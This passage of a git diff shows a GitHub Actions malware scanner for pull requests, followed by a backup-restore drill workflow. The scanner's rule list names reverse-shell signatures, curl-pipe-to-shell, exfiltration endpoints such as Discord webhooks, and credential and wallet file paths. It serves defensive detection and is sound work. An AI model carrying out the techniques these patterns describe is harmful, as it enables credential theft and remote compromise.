4) === kl.slice(0, 4) && !lower.startsWith(kl) && !kl.startsWith(lower)) return k; - } - return null; -} - -function distance(a, b) { - const dp = Array.from({ length: a.length + 1 }, (_, i) => [i, ...Array(b.length).fill(0)]); - for (let j = 1; j <= b.length; j++) dp[0][j] = j; - for (let i = 1; i <= a.length; i++) { - for (let j = 1; j <= b.length; j++) { - dp[i][j] = Math.min(dp[i - 1][j] + 1, dp[i][j - 1] + 1, dp[i - 1][j - 1] + (a[i - 1] === b[j - 1] ? 0 : 1)); - } - } - return dp[a.length][b.length]; -} - -function renderComment(pr, high, warn) { - const row = (x) => `| \`${x.file}${x.line ? `:${x.line}` : ''}\` | ${x.rule} | ${x.msg} |`; - const table = (list) => ['| Where | Rule | Why |', '|---|---|---|', ...list.slice(0, 50).map(row), - ...(list.length > 50 ? [`| … | | ${list.length - 50} more in the workflow log |`] : [])].join('\n'); - const sha = pr.head.sha.slice(0, 7); - - if (high.length) { - return `${MARKER} -### 🚨 Malware scan: needs security review - -@${pr.user.login} The automated scan of \`${sha}\` flagged code that can run on a maintainer's machine or in CI, or that hides what it contains. This PR won't be reviewed, and its CI won't be approved, until a maintainer has checked these: - -${table(high)} -${warn.length ? `\n
${warn.length} lower-severity note(s) for the reviewer\n\n${table(warn)}\n
\n` : ''} -If this is a false positive, reply here explaining why and a maintainer will clear it. If it isn't intentional, remove it and push again: the scan re-runs on every push and updates this comment.`; - } - if (warn.length) { - return `${MARKER} -### Malware scan: passed, with notes for the reviewer - -Nothing malicious was detected in \`${sha}\`. These changes touch sensitive areas and should get a careful look before CI is approved: - -${table(warn)}`; - } - return `${MARKER} -### βœ… Malware scan: clean - -The earlier findings are resolved as of \`${sha}\`.`; -} - -async function publish(github, owner, repo, pr, body, hasFindings, hasHigh) { - const comments = await github.paginate(github.rest.issues.listComments, { owner, repo, issue_number: pr.number, per_page: 100 }); - const existing = comments.find((c) => c.body && c.body.includes(MARKER) && c.user.type === 'Bot'); - if (existing) { - if (existing.body !== body) await github.rest.issues.updateComment({ owner, repo, comment_id: existing.id, body }); - } else if (hasFindings) { - await github.rest.issues.createComment({ owner, repo, issue_number: pr.number, body }); - } - - const labelled = pr.labels.some((l) => l.name === LABEL); - if (hasHigh && !labelled) { - try { - await github.rest.issues.getLabel({ owner, repo, name: LABEL }); - } catch (err) { - if (err.status !== 404) throw err; - await github.rest.issues.createLabel({ owner, repo, name: LABEL, color: 'b60205', description: 'Malware scan flagged this PR; a maintainer must review' }); - } - await github.rest.issues.addLabels({ owner, repo, issue_number: pr.number, labels: [LABEL] }); - } else if (!hasHigh && labelled) { - await github.rest.issues.removeLabel({ owner, repo, issue_number: pr.number, name: LABEL }); - } -} +// Scans a PR's changes for malware and supply-chain tricks: editor/devcontainer +// autorun tasks, install hooks, untrusted GitHub Actions, payloads disguised +// as fonts or images, base64/whitespace obfuscation, exfiltration endpoints, +// reverse shells and miners. +// +// It treats the PR purely as data. Files are read through the API (patches, +// or raw contents for large files) and matched against patterns; nothing from +// the PR is checked out, installed or executed. +// +// HIGH findings fail the check, add the `security-review` label and +// @mention the author. WARN findings are listed for the reviewing maintainer. +// The comment is edited in place on every push, so a PR has one scan comment. + +const MARKER = ''; +const LABEL = 'security-review'; +const MAX_FETCH_BYTES = 2 * 1024 * 1024; + +// Owners whose Actions this org already uses. Anything else in `uses:` fails. +const ALLOWED_ACTION_OWNERS = [ + 'actions', 'github', 'dtolnay', 'Swatinem', 'taiki-e', 'oven-sh', 'denoland', 'softprops', +]; + +// Popular packages that typosquats imitate, plus this org's own stack. +const POPULAR_PACKAGES = [ + 'react', 'react-dom', 'react-router', 'react-router-dom', 'react-hook-form', 'react-intl', 'zod', 'zustand', + 'axios', 'express', 'lodash', 'moment', 'dayjs', 'date-fns', 'date-fns-tz', 'vite', 'vitest', 'jest', 'typescript', + 'eslint', 'prettier', 'webpack', 'babel', 'chalk', 'commander', 'dotenv', 'jsonwebtoken', 'bcrypt', 'bcryptjs', + 'prisma', '@prisma/client', 'pg', 'mongoose', 'redis', 'ioredis', 'socket.io', 'cors', 'helmet', 'uuid', 'nanoid', + 'yaml', 'qrcode', 'jspdf', 'html2canvas', 'buffer', 'crypto-js', 'ethers', 'web3', 'tweetnacl', 'bignumber.js', + 'node-fetch', 'cross-env', 'nodemon', 'ts-node', 'tsx', 'playwright', '@playwright/test', 'puppeteer', + '@stellar/stellar-sdk', '@stellar/freighter-api', 'stellar-sdk', 'soroban-client', '@sentry/react', '@sentry/browser', + 'workbox-core', 'vite-plugin-pwa', 'msw', 'supertest', 'zxcvbn', 'otplib', 'speakeasy', 'nodemailer', +]; + +const TEXT_EXT = /\.(c|m)?(j|t)sx?$|\.(json|jsonc|md|mdx|rs|toml|ya?ml|css|scss|html|sql|prisma|lock|svg|txt|snap|sh|py|graphql|spec|example|env|xml|csv|ini|cfg|conf|dict|gitignore|gitattributes|editorconfig|nvmrc|npmrc|dockerignore|mts|cts|vue|svelte|astro|less|sass|go|mod|sum|tla)$/i; +const MEDIA_EXT = /\.(woff2?|ttf|otf|eot|png|jpe?g|gif|ico|webp|bmp|pdf|mp3|mp4|wav|zip|gz|tgz|wasm)$/i; +const DOC_EXT = /\.(md|mdx|txt)$/i; +const GENERATED = /(^|\/)(package-lock\.json|Cargo\.lock|yarn\.lock|pnpm-lock\.yaml)$|(^|\/)test_snapshots\/|(^|\/)generated\/|\.snap$|\.min\.(js|css)$|\.svg$/; +const JS_LIKE = /\brequire\s*\(|\bimport\s+[\w{*]|=>|\bfunction\s*\(|\beval\s*\(|\bprocess\.(env|argv)|module\.exports|child_process/; +const SELF = '.github/scripts/pr-malware-scan.cjs'; + +// Code patterns checked on every added line. Docs only get WARN for these, +// since READMEs legitimately show install one-liners. +const LINE_RULES = [ + // Marker of the obfuscated loader planted in escrow #163 and web #137. + { id: 'known-payload', sev: 'high', re: /\bglobal(This)?\[\s*['"]!['"]\s*\]\s*=/, msg: 'Matches the obfuscated JavaScript loader seen in earlier malicious PRs.' }, + { id: 'pipe-to-shell', sev: 'high', re: /\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(ba|z|da)?sh\b/, msg: 'Downloads and pipes straight into a shell.' }, + { id: 'powershell-encoded', sev: 'high', re: /powershell[^\n]*(-enc(odedcommand)?\b|\biex\b|invoke-expression)/i, msg: 'Encoded or downloaded PowerShell execution.' }, + { id: 'reverse-shell', sev: 'high', re: /\/dev\/tcp\/|\bnc\b[^\n]*\s-e\s|\bbash\s+-i\s*>&|\bsocat\b[^\n]*exec:/, msg: 'Reverse-shell pattern.' }, + { id: 'exfil-endpoint', sev: 'high', re: /discord(app)?\.com\/api\/webhooks|api\.telegram\.org\/bot|pastebin\.com\/raw|webhook\.site|requestbin|pipedream\.net|\.ngrok(-free)?\.(io|app)|interact\.sh|burpcollaborator/i, msg: 'Sends data to a known exfiltration or paste endpoint.' }, + { id: 'miner', sev: 'high', re: /\bxmrig\b|stratum\+(tcp|ssl):\/\/|coinhive|cryptonight/i, msg: 'Cryptocurrency-miner indicator.' }, + { id: 'decode-and-run', sev: 'high', re: /(eval|Function|require|exec(Sync)?)\s*\([^\n]*(atob\s*\(|Buffer\.from\([^)]*['"](base64|hex)['"])/, msg: 'Decodes base64/hex and executes the result.' }, + { id: 'charcode-payload', sev: 'high', re: /fromCharCode\s*\(\s*(\d+\s*,\s*){8,}/, msg: 'Builds a string from a long run of char codes (common obfuscation).' }, + { id: 'hex-escapes', sev: 'high', re: /(\\x[0-9a-fA-F]{2}){20,}/, msg: 'Long run of \\x escapes (obfuscated string).' }, + { id: 'env-dump', sev: 'high', re: /JSON\.stringify\(\s*process\.env\s*\)|Object\.(entries|keys)\(\s*process\.env\s*\)[^\n]*(fetch|post|send|request)/, msg: 'Serialises the whole environment (secrets) for sending.' }, + { id: 'credential-files', sev: 'warn', re: /\.ssh\/(id_|authorized_keys)|\.aws\/credentials|\.npmrc['"]|Login Data|Local State|keychain|\.config\/solana\/id\.json|wallet\.dat|keystore\/UTC/i, msg: 'Touches local credential or wallet files.' }, + { id: 'dynamic-code', sev: 'warn', re: /\beval\s*\(|\bnew\s+Function\s*\(/, msg: 'Dynamic code execution (eval / new Function).' }, + { id: 'node-runs-odd-file', sev: 'high', re: /\bnode\s+(\.\/)?[\w./-]+\.(?!(c|m)?js\b|ts\b|mts\b)[a-z0-9]{2,5}\b/i, msg: 'Runs `node` on a file that is not a .js/.ts file (payload disguised by extension).' }, +]; + +module.exports = async ({ github, context, core, pr: prOverride, dryRun = false }) => { + const { owner, repo } = context.repo; + const pr = prOverride || context.payload.pull_request; + const files = await github.paginate(github.rest.pulls.listFiles, { + owner, repo, pull_number: pr.number, per_page: 100, + }); + + const findings = []; + const add = (sev, file, line, rule, msg) => findings.push({ sev, file, line, rule, msg }); + + for (const f of files) { + if (f.status === 'removed') continue; + const path = f.filename; + + let lines; + if (typeof f.patch === 'string') { + lines = addedLines(f.patch); + } else { + // No patch: the file is binary or too large for the API diff. + const raw = await fetchRaw(github, pr, path); + if (raw === null) { + if (!MEDIA_EXT.test(path) && f.changes > 0) add('warn', path, null, 'unscanned', 'Too large to scan automatically; review by hand.'); + continue; + } + if (raw.binary) { + continue; + } + lines = raw.text.split('\n').map((text, i) => ({ n: i + 1, text })); + } + scanFile(path, f.status, lines, add); + if (/(^|\/)package\.json$/.test(path)) await scanPackageJson(github, pr, path, f.status, add); + } + + const high = findings.filter((x) => x.sev === 'high'); + const warn = findings.filter((x) => x.sev === 'warn'); + const body = renderComment(pr, high, warn); + + core.info(`Scanned ${files.length} files: ${high.length} high, ${warn.length} warn.`); + for (const x of findings) core.info(`[${x.sev}] ${x.file}${x.line ? `:${x.line}` : ''} ${x.rule}: ${x.msg}`); + if (core.summary) await core.summary.addRaw(body.replace(MARKER, '')).write(); + + if (!dryRun) await publish(github, owner, repo, pr, body, findings.length > 0, high.length > 0); + if (high.length && core.setFailed) core.setFailed(`Malware scan: ${high.length} high-severity finding(s). A maintainer must review this PR.`); + return { high, warn }; +}; + +// Manual backfill (workflow_dispatch): scans PRs that haven't been pushed since +// the scanner went live, or re-scans after a rule change. Each result is +// recorded as a `Malware scan` commit status on the PR head, which satisfies +// the required check just like the check run a normal PR push produces. +module.exports.backfill = async ({ github, context, core, prs = 'all', dryRun = false }) => { + const { owner, repo } = context.repo; + const wanted = String(prs).trim(); + const numbers = wanted === 'all' || wanted === '' + ? (await github.paginate(github.rest.pulls.list, { owner, repo, state: 'open', per_page: 100 })).map((p) => p.number) + : wanted.split(/[\s,]+/).map(Number).filter((n) => Number.isInteger(n) && n > 0); + const runUrl = context.runId ? `${context.serverUrl}/${owner}/${repo}/actions/runs/${context.runId}` : undefined; + const quiet = { info: () => {}, summary: null, setFailed: null }; + const rows = []; + + for (const number of numbers) { + let pr; + try { + ({ data: pr } = await github.rest.pulls.get({ owner, repo, pull_number: number })); + } catch (err) { + rows.push(`| #${number} | skipped | not found (${err.status || err.message}) |`); + continue; + } + if (pr.state !== 'open') { + rows.push(`| #${number} | skipped | ${pr.merged_at ? 'merged' : 'closed'} |`); + continue; + } + let result; + try { + result = await module.exports({ github, context, core: quiet, pr, dryRun }); + } catch (err) { + core.warning(`#${number}: scan errored (${err.message}); left without a status so it is retried by the next push or backfill.`); + rows.push(`| #${number} | ⚠️ error | ${err.message.slice(0, 80)} |`); + continue; + } + const failed = result.high.length > 0; + if (!dryRun) { + await github.rest.repos.createCommitStatus({ + owner, repo, sha: pr.head.sha, context: 'Malware scan', target_url: runUrl, + state: failed ? 'failure' : 'success', + description: failed ? `${result.high.length} high-severity finding(s); maintainer review needed` : `Clean (backfill${result.warn.length ? `, ${result.warn.length} note(s)` : ''})`, + }); + } + rows.push(`| #${number} | ${failed ? '🚨 high' : result.warn.length ? 'notes' : 'βœ… clean'} | ${[...new Set([...result.high, ...result.warn].map((x) => x.rule))].join(', ')} |`); + core.info(`#${number}: ${result.high.length} high, ${result.warn.length} warn`); + } + + const summary = [`${dryRun ? '[dry run] ' : ''}Backfill processed ${rows.length} PR(s).`, '', '| PR | Result | Rules |', '|---|---|---|', ...rows].join('\n'); + if (core.summary) await core.summary.addRaw(summary).write(); + return rows; +}; + +function scanFile(path, status, lines, add) { + const isDoc = DOC_EXT.test(path); + const isGenerated = GENERATED.test(path); + const all = lines.map((l) => l.text).join('\n'); + const first = lines[0] ? lines[0].n : null; + + // Editor and devcontainer configs that execute on open. + if (/^\.vscode\/tasks\.json$/.test(path) && /"runOn"\s*:\s*"folderOpen"/.test(all)) { + add('high', path, first, 'editor-autorun', 'VS Code task set to run automatically when the folder is opened.'); + } else if (/^\.(vscode|idea|fleet|zed)\//.test(path)) { + add('warn', path, first, 'editor-config', 'Adds or changes editor config; check it runs nothing on open.'); + } + if (/^\.devcontainer\//.test(path)) { + const host = /"initializeCommand"/.test(all); + add(host ? 'high' : 'warn', path, first, 'devcontainer-command', + host ? 'devcontainer `initializeCommand` runs on the host machine.' : 'Changes devcontainer config; check its post-create/start commands.'); + } + + // Install-time and build-time hooks (package.json is handled in scanPackageJson). + if (/(^|\/)package-lock\.json$/.test(path)) { + for (const l of lines) { + const m = /"resolved"\s*:\s*"([^"]+)"/.exec(l.text); + // Relative paths are local workspace packages; only remote sources matter. + if (m && /^[a-z+]+:/i.test(m[1]) && !m[1].startsWith('https://registry.npmjs.org/')) { + add('high', path, l.n, 'lockfile-source', `Lockfile resolves a package from \`${m[1]}\`, not registry.npmjs.org.`); + } + } + } + if (/(^|\/)\.(npmrc|yarnrc(\.yml)?)$/.test(path)) { + const reg = /registry\s*[=:]/.test(all) && !/registry\.npmjs\.org/.test(all); + add(reg ? 'high' : 'warn', path, first, 'npm-config', reg ? 'Points npm at a non-default registry.' : 'Changes npm/yarn config.'); + } + if (/(^|\/)build\.rs$/.test(path)) { + const risky = /std::process|Command::new|TcpStream|reqwest|ureq|std::net/.test(all); + add(risky ? 'high' : 'warn', path, first, 'build-script', + risky ? 'Cargo build script spawns processes or opens network connections at compile time.' : 'Adds or changes a Cargo build script (runs at compile time).'); + } + if (/(^|\/)Cargo\.toml$/.test(path)) { + for (const l of lines) { + if (/\bgit\s*=\s*"/.test(l.text)) add('warn', path, l.n, 'git-dependency', 'Crate pulled from a git repository instead of crates.io.'); + } + } + if (/^\.husky\/|(^|\/)\.git-hooks?\//.test(path)) add('warn', path, first, 'git-hook', 'Adds or changes git hooks.'); + + // GitHub Actions. + if (/^\.github\/workflows\//.test(path)) { + add('warn', path, first, 'workflow-change', 'Changes a CI workflow; a maintainer must review before approving runs.'); + for (const l of lines) { + const u = /^\s*-?\s*uses:\s*['"]?([^@\s'"]+)@/.exec(l.text); + if (u && !u[1].startsWith('./')) { + const owner = u[1].split('/')[0]; + if (!ALLOWED_ACTION_OWNERS.includes(owner)) { + const near = typosquatOf(owner, ALLOWED_ACTION_OWNERS, true); + add('high', path, l.n, 'untrusted-action', near + ? `\`${u[1]}\` looks like a typosquat of \`${near}/…\`.` + : `\`${u[1]}\` is not from an allowed Actions publisher (${ALLOWED_ACTION_OWNERS.join(', ')}).`); + } + } + if (/\bpull_request_target\b/.test(l.text)) add('high', path, l.n, 'pull-request-target', '`pull_request_target` runs with a write token and secrets on fork PRs.'); + if (/\$\{\{\s*secrets\./.test(l.text)) add('warn', path, l.n, 'workflow-secret', 'Workflow uses a repository secret.'); + } + } + + // Payload disguised as a font, image or other non-code file. + if (MEDIA_EXT.test(path) || (!TEXT_EXT.test(path) && /\.[a-z0-9]{2,5}$/i.test(path) && !/(^|\/)[A-Z][A-Z_]*$|Dockerfile|Makefile|LICENSE/.test(path))) { + if (JS_LIKE.test(all)) { + add('high', path, first, 'disguised-code', 'Non-code file extension, but the content is JavaScript. Typical of a hidden payload.'); + } + } + + if (path === SELF) return; // the scanner's own pattern list would match itself + + // The whole-line heuristics report once per file; the line rules still + // check every line, including the one a heuristic matched. + let heuristicHit = false; + for (const l of lines) { + const t = l.text; + if (!isGenerated && !heuristicHit && t.length >= 200) { + const compact = t.replace(/\s/g, ''); + const b64 = compact.replace(/[^A-Za-z0-9+/=]/g, ''); + const ws = (t.match(/\s/g) || []).length; + if (b64.length >= 200 && b64.length / compact.length > 0.98 && looksLikeBase64Text(compact)) { + add('high', path, l.n, 'base64-file', 'Content is committed as base64. It hides what the file really contains, and merging overwrites the real file.'); + heuristicHit = true; + } else if (ws / t.length > 0.9 && /\S/.test(t)) { + add('high', path, l.n, 'whitespace-hiding', 'Code is hidden among large runs of whitespace.'); + heuristicHit = true; + } else if (/\S\s{150,}\S/.test(t) || /^\s{150,}\S/.test(t)) { + add('high', path, l.n, 'offscreen-code', 'Code is pushed far off-screen by a long run of whitespace.'); + heuristicHit = true; + } + } + if (isGenerated) continue; + for (const r of LINE_RULES) { + if (r.re.test(t)) add(isDoc && r.sev === 'high' ? 'warn' : r.sev, path, l.n, r.id, r.msg); + } + } +} + +const LIFECYCLE = ['preinstall', 'install', 'postinstall', 'prepare', 'prepublish', 'preprepare', 'postprepare']; +const DEP_FIELDS = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']; +// A prepare script that only builds the package itself is normal; anything else runs arbitrary code on install. +const BENIGN_PREPARE = /^(npm run [\w:-]+|tsc\b[^;&|]*|husky( install)?|vite build|node-gyp rebuild|patch-package)( && (npm run [\w:-]+|tsc\b[^;&|]*))*$/; + +async function scanPackageJson(github, pr, path, status, add) { + const head = await fetchRaw(github, pr, path); + const base = status === 'added' ? { text: '{}' } : await fetchRaw(github, { head: { repo: pr.base.repo, sha: pr.base.sha } }, path); + if (!head || head.binary) { + add('warn', path, null, 'package-json-unparsed', 'package.json could not be fetched; review its scripts and dependencies by hand.'); + return; + } + let h; let b; + try { + h = JSON.parse(head.text); + b = JSON.parse(base ? base.text : '{}'); + } catch { + add('warn', path, null, 'package-json-unparsed', 'package.json could not be parsed; review its scripts and dependencies by hand.'); + return; + } + const lineOf = (key) => { + const i = head.text.split('\n').findIndex((l) => l.includes(`"${key}"`)); + return i >= 0 ? i + 1 : null; + }; + + for (const key of LIFECYCLE) { + const now = h.scripts && h.scripts[key]; + if (!now || (b.scripts && b.scripts[key] === now)) continue; + const benign = (key === 'prepare' || key === 'prepublish') && BENIGN_PREPARE.test(now.trim()); + add(benign ? 'warn' : 'high', path, lineOf(key), 'install-script', + `Adds or changes the \`${key}\` script (\`${now.slice(0, 80)}\`), which runs automatically on \`npm install\`.`); + } + + // An everyday script (dev, build, test…) that now also runs some file first + // or after: the original command still works, so the change is easy to miss. + for (const [key, now] of Object.entries(h.scripts || {})) { + const was = b.scripts && b.scripts[key]; + if (LIFECYCLE.includes(key) || typeof now !== 'string' || !was || now === was || !now.includes(was)) continue; + const extra = now.replace(was, ''); + const runs = /\b(node|bun|deno|sh|bash|python3?)\s+(?!-)([^\s;&|]+)/.exec(extra); + if (runs) { + add('high', path, lineOf(key), 'script-hijack', + `The \`${key}\` script now also runs \`${runs[1]} ${runs[2]}\` alongside its original command (\`${was.slice(0, 60)}\`).`); + } + } + + for (const field of DEP_FIELDS) { + for (const [name, spec] of Object.entries(h[field] || {})) { + if (b[field] && b[field][name] === spec) continue; + const local = /^(file|link|workspace):(\.\/)?(?!\.\.|\/)/.test(spec) || /^workspace:/.test(spec); + if (local) { + add('warn', path, lineOf(name), 'dependency-source', `\`${name}\` is a local package (\`${spec}\`); check that path is part of this PR's reviewed code.`); + } else if (/^(https?:|git(\+\w+)?:|github:|gitlab:|bitbucket:|file:|link:)/.test(spec) || /^[\w-]+\/[\w.-]+(#.*)?$/.test(spec)) { + add('high', path, lineOf(name), 'dependency-source', `\`${name}\` is installed from \`${spec}\` instead of the npm registry.`); + } + const squat = typosquatOf(name, POPULAR_PACKAGES); + if (squat) add('high', path, lineOf(name), 'typosquat', `\`${name}\` looks like a typosquat of \`${squat}\`.`); + } + } +} + +function addedLines(patch) { + const out = []; + let n = 0; + for (const line of patch.split('\n')) { + const h = /^@@ -\d+(?:,\d+)? \+(\d+)/.exec(line); + if (h) { n = Number(h[1]); continue; } + if (line.startsWith('+')) out.push({ n: n++, text: line.slice(1) }); + else if (!line.startsWith('-') && !line.startsWith('\\')) n++; + } + return out; +} + +async function fetchRaw(github, pr, path) { + const head = pr.head.repo; + if (!head) return null; // fork deleted + try { + const { data } = await github.rest.repos.getContent({ owner: head.owner.login, repo: head.name, path, ref: pr.head.sha }); + if (Array.isArray(data) || data.type !== 'file' || data.size > MAX_FETCH_BYTES) return null; + let buf; + if (data.content) { + buf = Buffer.from(data.content, 'base64'); + } else { + const { data: blob } = await github.rest.git.getBlob({ owner: head.owner.login, repo: head.name, file_sha: data.sha }); + buf = Buffer.from(blob.content, 'base64'); + } + if (buf.includes(0)) return { binary: true }; + return { text: buf.toString('utf8') }; + } catch { + return null; + } +} + +// Decodes the longest clean base64 run, so a stray character can't shift the +// alignment and hide the content. +function looksLikeBase64Text(s) { + const run = (s.match(/[A-Za-z0-9+/]{200,}/g) || []).sort((a, b) => b.length - a.length)[0]; + if (!run) return false; + const decoded = Buffer.from(run.slice(0, 4000 - (Math.min(run.length, 4000) % 4)), 'base64').toString('utf8'); + if (decoded.length < 100) return false; + const printable = (decoded.match(/[\x20-\x7e\n\r\t]/g) || []).length; + return printable / decoded.length > 0.9; +} + +// `prefix` also flags lookalikes sharing the first 4 letters (dtolstech vs dtolnay). +// Only used for Action owners: npm names legitimately share prefixes (react-dom, react-query). +function typosquatOf(name, known, prefix = false) { + const lower = name.toLowerCase(); + if (known.some((k) => k.toLowerCase() === lower)) return null; + for (const k of known) { + const kl = k.toLowerCase(); + if (Math.abs(kl.length - lower.length) > 2 || kl.length < 4) continue; + const d = distance(lower, kl); + if (d === 1 || (d === 2 && kl.length >= 7)) return k; + } + for (const k of prefix ? known : []) { + const kl = k.toLowerCase(); + if (kl.length >= 5 && lower.length >= 5 && lower.slice(0, 4) === kl.slice(0, 4) && !lower.startsWith(kl) && !kl.startsWith(lower)) return k; + } + return null; +} + +function distance(a, b) { + const dp = Array.from({ length: a.length + 1 }, (_, i) => [i, ...Array(b.length).fill(0)]); + for (let j = 1; j <= b.length; j++) dp[0][j] = j; + for (let i = 1; i <= a.length; i++) { + for (let j = 1; j <= b.length; j++) { + dp[i][j] = Math.min(dp[i - 1][j] + 1, dp[i][j - 1] + 1, dp[i - 1][j - 1] + (a[i - 1] === b[j - 1] ? 0 : 1)); + } + } + return dp[a.length][b.length]; +} + +function renderComment(pr, high, warn) { + const row = (x) => `| \`${x.file}${x.line ? `:${x.line}` : ''}\` | ${x.rule} | ${x.msg} |`; + const table = (list) => ['| Where | Rule | Why |', '|---|---|---|', ...list.slice(0, 50).map(row), + ...(list.length > 50 ? [`| … | | ${list.length - 50} more in the workflow log |`] : [])].join('\n'); + const sha = pr.head.sha.slice(0, 7); + + if (high.length) { + return `${MARKER} +### 🚨 Malware scan: needs security review + +@${pr.user.login} The automated scan of \`${sha}\` flagged code that can run on a maintainer's machine or in CI, or that hides what it contains. This PR won't be reviewed, and its CI won't be approved, until a maintainer has checked these: + +${table(high)} +${warn.length ? `\n
${warn.length} lower-severity note(s) for the reviewer\n\n${table(warn)}\n
\n` : ''} +If this is a false positive, reply here explaining why and a maintainer will clear it. If it isn't intentional, remove it and push again: the scan re-runs on every push and updates this comment.`; + } + if (warn.length) { + return `${MARKER} +### Malware scan: passed, with notes for the reviewer + +Nothing malicious was detected in \`${sha}\`. These changes touch sensitive areas and should get a careful look before CI is approved: + +${table(warn)}`; + } + return `${MARKER} +### βœ… Malware scan: clean + +The earlier findings are resolved as of \`${sha}\`.`; +} + +async function publish(github, owner, repo, pr, body, hasFindings, hasHigh) { + const comments = await github.paginate(github.rest.issues.listComments, { owner, repo, issue_number: pr.number, per_page: 100 }); + const existing = comments.find((c) => c.body && c.body.includes(MARKER) && c.user.type === 'Bot'); + if (existing) { + if (existing.body !== body) await github.rest.issues.updateComment({ owner, repo, comment_id: existing.id, body }); + } else if (hasFindings) { + await github.rest.issues.createComment({ owner, repo, issue_number: pr.number, body }); + } + + const labelled = pr.labels.some((l) => l.name === LABEL); + if (hasHigh && !labelled) { + try { + await github.rest.issues.getLabel({ owner, repo, name: LABEL }); + } catch (err) { + if (err.status !== 404) throw err; + await github.rest.issues.createLabel({ owner, repo, name: LABEL, color: 'b60205', description: 'Malware scan flagged this PR; a maintainer must review' }); + } + await github.rest.issues.addLabels({ owner, repo, issue_number: pr.number, labels: [LABEL] }); + } else if (!hasHigh && labelled) { + await github.rest.issues.removeLabel({ owner, repo, issue_number: pr.number, name: LABEL }); + } +} diff --git a/.github/workflows/backup-restore-drill.yml b/.github/workflows/backup-restore-drill.yml index ac9ac83c..24cd07f7 100644 --- a/.github/workflows/backup-restore-drill.yml +++ b/.github/workflows/backup-restore-drill.yml @@ -1,101 +1,101 @@ -name: Backup restore drill - -on: - schedule: - - cron: '0 3 * * *' # daily at 03:00 UTC - workflow_dispatch: - -permissions: - contents: read - -env: - PGCLIENT_VERSION: '16' - -jobs: - backup-and-restore: - name: Backup and restore drill - runs-on: ubuntu-latest - timeout-minutes: 30 - services: - postgres: - image: postgres:16 - env: - POSTGRES_USER: drill - POSTGRES_PASSWORD: drill - POSTGRES_DB: app - ports: - - 5432:5432 - options: >- - --health-cmd "pg_isready -U drill -d app" - --health-interval 1s - --health-timeout 5s - --health-retries 10 - env: - DATABASE_URL: postgres://drill:drill@127.0.0.1:5432/app - RESTORE_TARGET_URL: postgres://drill:drill@127.0.0.1:5432/app_drill - BACKUP_ENCRYPTION_KEY: ${{ secrets.BACKUP_ENCRYPTION_KEY || 'drill-passphrase-not-for-prod' }} - BACKUP_RETENTION_DAYS: '14' - RESTORE_CONFIRM: '1' - steps: - - name: Checkout - uses: actions/checkout@v4 - - # `runner` isn't available in job-level env, so set the backup - # directory from the step environment instead. - - name: Set backup directory - run: echo "BACKUP_DIR=$RUNNER_TEMP/backups" >> "$GITHUB_ENV" - - - name: Install Postgres clients - run: | - sudo apt-get update - sudo apt-get install -y postgresql-client - pg_dump --version - psql --version - - - name: Wait for Postgres - run: | - for i in $(seq 1 30); do - pg_isready -h 127.0.0.1 -U drill -d app && break - sleep 1 - done - - - name: Seed source database - run: | - psql "$DATABASE_URL" << 'SQL' - CREATE TABLE IF NOT EXISTS _prisma_migrations ( - id TEXT PRIMARY KEY, - checksum TEXT NOT NULL, - finished_at TIMESTAMP NOT NULL, - migration_name TEXT NOT NULL, - logs TEXT - ); - INSERT INTO _prisma_migrations (id, checksum, finished_at, migration_name) - VALUES ('20250101000000_init', 'drill', now(), 'init'); - CREATE TABLE IF NOT EXISTS "users" ( - id TEXT PRIMARY KEY, - email TEXT NOT NULL - ); - INSERT INTO "users" (id, email) VALUES ('u-1', 'drill@example.test'); - CREATE TABLE IF NOT EXISTS "bookings" ( - id TEXT PRIMARY KEY, - "userId" TEXT NOT NULL REFERENCES "users"(id), - status TEXT NOT NULL - ); - INSERT INTO "bookings" (id, "userId", status) VALUES ('b-1', 'u-1', 'confirmed'); - SQL - - - name: Take encrypted backup - run: | - chmod +x scripts/backup-postgres.sh - ./scripts/backup-postgres.sh - - - name: Run restore drill - run: | - chmod +x scripts/restore-drill.sh - ./scripts/restore-drill.sh - - - name: Alert on failure - if: failure() - run: | - echo "::warning::backup restore drill failed -- backups may not be restorable" - exit 1 +name: Backup restore drill + +on: + schedule: + - cron: '0 3 * * *' # daily at 03:00 UTC + workflow_dispatch: + +permissions: + contents: read + +env: + PGCLIENT_VERSION: '16' + +jobs: + backup-and-restore: + name: Backup and restore drill + runs-on: ubuntu-latest + timeout-minutes: 30 + services: + postgres: + image: postgres:16 + env: + POSTGRES_USER: drill + POSTGRES_PASSWORD: drill + POSTGRES_DB: app + ports: + - 5432:5432 + options: >- + --health-cmd "pg_isready -U drill -d app" + --health-interval 1s + --health-timeout 5s + --health-retries 10 + env: + DATABASE_URL: postgres://drill:drill@127.0.0.1:5432/app + RESTORE_TARGET_URL: postgres://drill:drill@127.0.0.1:5432/app_drill + BACKUP_ENCRYPTION_KEY: ${{ secrets.BACKUP_ENCRYPTION_KEY || 'drill-passphrase-not-for-prod' }} + BACKUP_RETENTION_DAYS: '14' + RESTORE_CONFIRM: '1' + steps: + - name: Checkout + uses: actions/checkout@v4 + + # `runner` isn't available in job-level env, so set the backup + # directory from the step environment instead. + - name: Set backup directory + run: echo "BACKUP_DIR=$RUNNER_TEMP/backups" >> "$GITHUB_ENV" + + - name: Install Postgres clients + run: | + sudo apt-get update + sudo apt-get install -y postgresql-client + pg_dump --version + psql --version + + - name: Wait for Postgres + run: | + for i in $(seq 1 30); do + pg_isready -h 127.0.0.1 -U drill -d app && break + sleep 1 + done + + - name: Seed source database + run: | + psql "$DATABASE_URL" << 'SQL' + CREATE TABLE IF NOT EXISTS _prisma_migrations ( + id TEXT PRIMARY KEY, + checksum TEXT NOT NULL, + finished_at TIMESTAMP NOT NULL, + migration_name TEXT NOT NULL, + logs TEXT + ); + INSERT INTO _prisma_migrations (id, checksum, finished_at, migration_name) + VALUES ('20250101000000_init', 'drill', now(), 'init'); + CREATE TABLE IF NOT EXISTS "users" ( + id TEXT PRIMARY KEY, + email TEXT NOT NULL + ); + INSERT INTO "users" (id, email) VALUES ('u-1', 'drill@example.test'); + CREATE TABLE IF NOT EXISTS "bookings" ( + id TEXT PRIMARY KEY, + "userId" TEXT NOT NULL REFERENCES "users"(id), + status TEXT NOT NULL + ); + INSERT INTO "bookings" (id, "userId", status) VALUES ('b-1', 'u-1', 'confirmed'); + SQL + + - name: Take encrypted backup + run: | + chmod +x scripts/backup-postgres.sh + ./scripts/backup-postgres.sh + + - name: Run restore drill + run: | + chmod +x scripts/restore-drill.sh + ./scripts/restore-drill.sh + + - name: Alert on failure + 